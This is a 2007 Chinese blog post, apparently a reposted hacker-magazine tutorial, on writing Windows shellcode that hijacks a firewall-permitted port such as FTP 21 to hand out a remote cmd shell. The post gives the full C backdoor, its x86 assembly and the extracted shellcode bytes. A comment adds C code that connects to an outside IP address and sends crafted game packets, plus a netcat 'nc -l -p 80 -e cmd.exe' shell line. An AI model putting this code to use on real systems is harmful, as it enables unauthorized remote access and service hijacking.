随笔 - 298  文章 - 377  trackbacks - 0
<2007年7月>
24252627282930
1234567
891011121314
15161718192021
22232425262728
2930311234

常用链接

留言簿(34)

随笔分类

随笔档案

文章档案

相册

收藏夹

搜索

  •  

最新评论

阅读排行榜

评论排行榜

现在网络上获得控制台的ShellCode要么是在目标机上开一个端口,等待攻击者连接;要么是让目标机主动连接攻击者的主机,俗称反向连接。但前种方法一般都会被防火墙挡住,而后者反连不但需要攻击者有一个公网IP,而且也会被目标机端禁止外连访问的防火墙挡掉。那有没有更好的办法呢?

   
    第一种方法就是复用攻击时的Socket。我们在给目标机发送攻击字符串的时候,就使用了Socket,如果还存在,我们把它找到并回收利用。ShellCode完成的功能是查找进程中所有的Socket并依次判断,如果是那个发送攻击字符串的Socket,就使用它来传文件,开后门等等。

    第二种方法是复用端口。作为服务器,防火墙总会打开提高服务所需要的端口,比如FTP的21端口,IIS的80端口等。我们在ShellCode中复用这些防火墙打开的端口,并完成自己想要的功能。

    第三种方法是终止掉目标机上的FTP或IIS等服务,然后再占用21、80等端口。这种方法在法二失败的情况下可以使用。

    还有其它的一些方法,比如红色代码蠕虫使用的Hook技术,它是把TcpSockSend函数替换掉,这样发给任何客户的信息都是“Hacker by Chinese”,我们也可以把接收函数Recv函数Hook掉,保证即执行攻击者发过去的命令,又不影响正常的服务。

    另外还可以查找Socket,把所有的Socket都绑定一个DOS Shell;如果知道网站的物理路径,还可以由ShellCode直接创建一个ASP木马!当然还可以添加用户,创建虚拟映射盘,直接写一个EXE的木马并执行等……方法很多,要用发散性的思维考虑!只要想的到,不要管做得到做不到!

    不管做得到做不到?这些思路都可以实现吗?其实在《Windows下ShellCode编写初步》一文中已经讲过,ShellCode就是一段代码的机器码形式,所以只要ShellCode不要太长,并符合特殊字符的规划,运行起来是不会有问题的。来个实际的编写例子吧,这里就以第二种思路――复用端口,来讲解突破防火墙ShellCode的实现。

    C实现重用端口

    一般情况下,已经绑定的端口是不能再次被绑定的,但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下,

  int setsockopt(
  SOCKET s,
  int level,
  int optname,
  const char* optval,
  int optlen
);

    第一个参数为要改变的Socket标志符,第二个参数为选项的等级,第三个参数就是要改成的选项名了,第四第五个参数为请求值缓冲区的指针和大小。具体实现时,把第三个参数设为SO_REUSEADDR,就可以重用已绑定的端口了。代码如下:

BOOL  val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)

    其它的和一般的后门编写就一样了。怎么样,很简单吧?
 
    WTF:该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项,就只能用其它的方法绑定端口了。

    Telnet后门的编写

    端口可以重用之后,总要加点功能来显示这种方法的优劣吧?空说复用端口好有什么用呢?所以再加上一个大家都看得见的功能:给连接端口的客户开一个远程的Shell。

    开远程的Shell比较简单,用CreateProcess函数建立CMD进程,并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这里的Socket要用WSASocket函数建立才能这样替换,而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内,大家可以参看以前和将来的黑防,都会有讲的。

C实现的程序如下。
int main()
{
 WSADATA ws;
 SOCKET listenFD;
 int ret;
 //初始化wsa
 WSAStartup(MAKEWORD(2,2),&ws);
 //注意要用WSASocket
 listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 //设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
 //但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
 BOOL  val = TRUE;
 setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
 //监听本机21端口
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(21);
 server.sin_addr.s_addr = inet_addr("127.0.0.1");
 ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
 ret=listen(listenFD,2);
 //如果客户请求21端口,接受连接
 int iAddrSize = sizeof(server);
 SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
 STARTUPINFO si;
 ZeroMemory(&si,sizeof(si));
 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 //设置为输入输出句柄为Socket
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
 char cmdLine[] = "cmd";
 PROCESS_INFORMATION ProcessInformation;
 //建立进程 
 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
 return 0;
}

测试一下,先安装一个Serv_U FTP服务器,那么它会打开21端口。如果Telnet 21端口,就会得到Serv_U的Banner,如下图1所示。




图1

    现在执行我们的程序,就会重新绑定21端口。用Netstat –an查看,会发现有两个21端口在监听,一个的IP是0.0.0.0,一个是127.0.0.1。如图2所示。


 
图2

现在再Telnet 21端口,这次得到的是Shell!哈哈,没错,我们的程序抢掉了Serv_U用的21端口,突破成功!如图3所示。


 
图3

    汇编的编写

    C程序代码成功实现后,就要把它变为有ShellCode特点的汇编了。
《打造Windows下自己的ShellCode》一文中分析过,Windows下函数的调用是先将参数从右到左入栈,然后Call 函数的地址,所以首先要找出所有函数的地址并记下来。

    我写了个“FindAddress.cpp”,来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll,再GetProcAddress函数名,最后打印出得到的地址。以后要查找其它函数地址时,只要更改LoadLibrary和GetProcAddress参数里的Dll名和函数名就可以了。
在我的系统XP sp0下,执行的效果如下图4所示。


 
图4

    在汇编代码中,把找出来的函数地址保存下来,以备后用。这里用的是固定的API函数地址,以后介绍了动态获取函数地址后,只需要加上动态查找那部分,而后面部分可以保持不动就继续使用了。这也算是一种工程的思想吧。
地址找到后,开始实现每个函数,函数实现完毕,汇编就写出来了。

    第一个是WSAStartup(MAKEWORD(2,2),&ws), 随便减Esp 0x200,将Esp作为WS的地址,而MAKEWORD(2,2)就是0x202,所以直接Push 0x202就可以了。汇编实现如下:
sub esp, 0x200
   push esp  //第二个参数&wsa
   push 0x202  //第一个参数0x202
   call dword ptr [ebp + 0x8] //[ebp+0x8]中存着WSAStartup的地址,执行
   add esp, 0x200

    第二个是执行WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0),这有点麻烦,那些参数值是多少呢?一种方法点右键,选择“goto 定义”,就可以找到对应的值,但遇到参数比较多的时候就比较慢;另一种方法,借用写好的C程序,按F10进入调试,按Debug工具栏上的Disassemble按钮,就出现了对应的汇编代码。如下图5所示。

图5

    看,对应的值不就出来了吗?我们只要仿照着,依次Push 0 0 0 6 1 2,再Call WSASocketA函数的地址就行了。以前说过,WSASocketA函数执行完后,EAX会存放函数的返回值,所以这里的EAX就是建立的Socket,我们把它保存在Ebx中,在后面会使用。

mov ebx, eax                ; save Socket to ebx

    下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”,用同样的方法,就会知道Sizeof(val)=4,SO_REUSEADDR为4,SOL_SOCKET为0FFFFh。那第四个参数(char *)&val怎么表示呢?

其实Val=true,就是0x00000001,那么&val就是0x00000001的地址,我们在堆栈中构造出0x00000001,把它的地址当参数就可以了。

mov eax, 0x00000001
push eax
mov esi, esp  ;这样把&val存在esi中。

再执行Setsockopt就是:

   push 4   //第五个参数sizeof(val)=4
   push esi  //第四个参数&val
   push 4   //第三个参数SO_REUSEADDR
   push 0FFFFh  //第二个参数SOL_SOCKET
   push ebx  //第一个参数,WSASocket建立的Socket
         Call dword ptr [ebp+0x16]//[ebp+0x16]中存着setsockopt的地址,执行

OK!瞬间完成了一半的工作量,看着汇编一段一段的写好,真是件惬意的事啊!

好了,该第四个函数了:“bind(listenFD,(sockaddr *)&server,sizeof(server));”,方法同上,第二个参数&server是一个sockaddr_in结构的地址,而且里面还有对端口、地址的设置,就是这三句:

server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");

    怎么转换比较简单呢?还是借助C程序的调试过程!在调试时,从Debug工具栏上调出Memory窗口,输入Server,就可以看到Server这个结构的值,在赋值完毕之后,变成02 00 00 15 7F 00 00 01,如下图6所示。


 
图6


    而且通过这个过程还知道,第一个0002是AF_INET,1500是htons(21),最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我们就依着葫芦画瓢,模仿着构造出Server的值,并把地址给Esi保存,代码如下:

   push 0x0100007F
   push 0x15000002 
   mov esi,esp  //构造server的值,并把地址赋给esi
   
有了Server参数后,就可以执行Bind函数了:

   push 10h  //第三个参数sizeof(server)=10h
   push esi  //第二个参数server的地址
   push ebx  //第一个参数Socket
   call dword ptr [ebp+0x20] //[ebp+0x20]中存着bind的地址,执行

那接下来的Listen(listenFD,2)就太简单了,实现如下:

push 2;   //第二个参数2
   push ebx;  //第一个参数Socket
   call dword ptr [ebp+0x24]; //[ebp+0x24]中存着listen的地址,执行

随后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能轻松搞定,为:
   push 10h  //构造iAddrSize,地址为esp
   push esp  //第三个参数&iAddrSize
   push esi  //第二个参数&server
   push ebx  //第一个参数Socket
   call dword ptr [ebp+0x28] //[ebp+0x28]中存着accept的地址,执行

当然,因为后面要用到Accept后产生的Socket,所以把它保存在Ebx中。
mov ebx, eax //把新Socket保存在ebx中
这样就到了最关键的决定成败的最终BOSS:“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。哇,大概看一看,好多参数,真吓人!但仔细一看,原来是纸老虎,参数基本上都是0和1,要构造的只有三个,那就简单了。

0和1就不说了,直接Push就可以了,&ProcessInformation最简单,因为不用赋初值,随便找个不用的地址就可以了,CmdLine也好解决,“cmd” 就是63 6d 64 00,构造在Ebp+0x32中,把Ebp+0x32的地址当参数压就可以了。只剩下&si了,对它的赋值有几句话,
ZeroMemory(&si,sizeof(si));
 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 //设置为输入输出句柄为Socket
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
就是先清零,再设置Flag和句柄。我们在调试过程中,仔细地、慢慢地、温柔地数,最后可以知道Si+2ch的地方为Flag地址,“Si+38h Si+3ch Si+40h”的地方为输入输出和错误句柄。那么在汇编中构造Si就是:

   lea edi,[esp]; 
   mov word ptr [edi+2ch], 0x0101;  //si.dwFlags =0x0101
   mov [edi+38h],ebx;     //si.hStdInput
   mov [edi+3ch],ebx;     //si.hStdOutput
   mov [edi+40h],ebx;     //si.hStdError = Socket

实现CreateProcess如下: 
   //暂存cmd.exe字符串于ebp+0x32中
   mov dword ptr [ebp+0x32],0x00646d63;   
   lea eax,[esp+0x44]
   push eax   //最后一个参数&ProcessInformation
   push edi   //&si
   push 0   //0
   push 0   //0
   push 0   //0
   push 1   //1
   push 0   //0
   push 0   //0
   lea eax,[ebp+0x32] 
   push eax   //"cmd"
   push 0   //0
   call [ebp+0x4]  //[ebp+0x4]中存着CreateProcessA的地址,执行

ShellCode的获取和验证

好了,把汇编连起来,得到“ReBindASM.cpp”验证一下,呵呵,还是成功。如图7所示。


 
图7


有一个出错对话框——当然了,我们的Esp ebp都被覆盖了,当然会出错。感兴趣的读者可以自己下去把它们恢复一下。剩下我们最感兴趣的ShellCode的提取了。
 《打造Windows下自己的ShellCode》中讲过,在得到汇编后,可以进行调试,然后把汇编对应的机器码一个一个的抄下来。这里当然也可以这样,但代码太多了,一个个的抄也太郁闷了吧……我们换个方法。

 进入调试,在调试进入我们的汇编时,在Memory窗口中输入Eip,这样出现的就是我们ShellCode在内存中的值,如下图8所示。


 
图8


这下简单了,把ShellCode从开始到结束粘贴下来,删掉多于的字符,把空格替换成’\x’,就得到重用端口,突破防火墙的ShellCode如下:

char ShellCode[] =
"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"
"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"
"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"
"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"
"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"
"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"
"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"
"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"
"\x6A\x00\xFF\x55\x04";

在Main函数里面,嵌入如下代码就可以将ShellCode当成函数执行:

lea eax, ShellCode;
  call eax
测试一下,哈哈,还是成功了。如图9所示。


 
图9


    这样我们就亲自打造出了一个ShellCode,而且这个ShellCode在外面是绝对找不到的哦,呵呵,知道为什么吗?因为这个ShellCode根本不能用啊!(豆大的汗珠从WTF后脑勺上滴下……)一是因为使用的是XP SP0的函数绝对地址,只能在XP SP0下用,如果是2000,或者XP的另外版本,都会失败;二是绑定的是127.0.0.1,其实需要对方的实际IP地址。要解决这两个问题,一是需要动态的获得函数地址,来把我们这个ShellCode改为通用的;二是加入对方IP和端口的定制,这样打造出的才是完美的ShellCode



posted on 2007-07-22 03:22 聂文龙 阅读(759) 评论(1)  编辑 收藏 引用 所属分类: c++

FeedBack:
# re: 经典的东 2007-07-22 03:22 聂文龙
// port.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"


/*
2a¨º?¨¨?¡êoCrackMe
2a¨º?¨®?¨¤y¡êo
cmd1: nc -l -p 80 -e cmd.exe
cmd2: ¡À?3¨¬D¨°
cmd3: nc *.*.*.* 80
2¨´¡Á¡Â¡êo
cmd3?D¨º?¨¨???¨¢?2¡é¦Ì?¦Ì?????¡ê?cmd2?D¨º?3???¨¢??T?????¡ê
¨ª¡§D?1y3¨¬¨º?¨°a¨ª?¡êo
cmd3??>cmd2??>cmd1
?¨¹ ?y?¨¹ ?y
????--??????????????
*/

#include
#include
#include
#include

int HexToBuf(char * in,char * out)
{
int i,it,len=0;
char t[3];
len = strlen(in)/2;
for(i=0;i {
memset(t,0,3);
t[0] = in[i*2];
t[1] = in[i*2+1];
sscanf(t,"%x",&it);
out[i] = (char)it;
}
return len;
}

int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;

WSAStartup(MAKEWORD(2,2),&ws);

listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );

struct sockaddr_in server;
struct sockaddr_in srv_addr;//ÕâÊÇ·þÎñÆ÷µØÖ·
server.sin_family = AF_INET;
server.sin_port = htons(6662);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

/*ret=listen(listenFD,2);
//??????21??,????
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//??????????Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//????
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
*/
srv_addr.sin_family = AF_INET; //210.174.197.237:9998
srv_addr.sin_addr.s_addr = inet_addr("210.174.197.237");
srv_addr.sin_port=htons(9998);
if(connect(listenFD,(LPSOCKADDR)&srv_addr,sizeof(srv_addr))==SOCKET_ERROR)
{
printf("ÎÞ·¨Á¬½Ó·þÎñÆ÷\\n");
closesocket(listenFD);
Sleep(10000);
}
else
{
printf("OH.yeah!\\n");
}
//setsockopt(g_skt_login,IPPROTO_TCP,TCP_NODELAY,(const char *)&bNoDelay,sizeof(bNoDelay));
//·¢Ë͵ÚÒ»´ÎµÇ½ÇëÇó
char sendbuf[100],sendhex[100];
int sendlen,i;

for (i = 0 ;i <100 ;i++)
{
memset(sendbuf,0,100);
memset(sendhex,0,100);
strcpy(sendhex,"8A0009000000E72E0000201F000061");
sendlen = HexToBuf(sendhex,sendbuf);
send(listenFD,sendbuf,sendlen,0);
printf("·¢ËͼÓѪ°ü-%d\\n",i);

Sleep(5000);

memset(sendbuf,0,100);
memset(sendhex,0,100);
strcpy(sendhex,"BF000400000000000000");
sendlen = HexToBuf(sendhex,sendbuf);
send(listenFD,sendbuf,sendlen,0);
printf("·¢ËÍÐÞ×°±¸°ü-%d\\n",i);

Sleep(5000);
}



return 0;
}  回复  更多评论
  

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理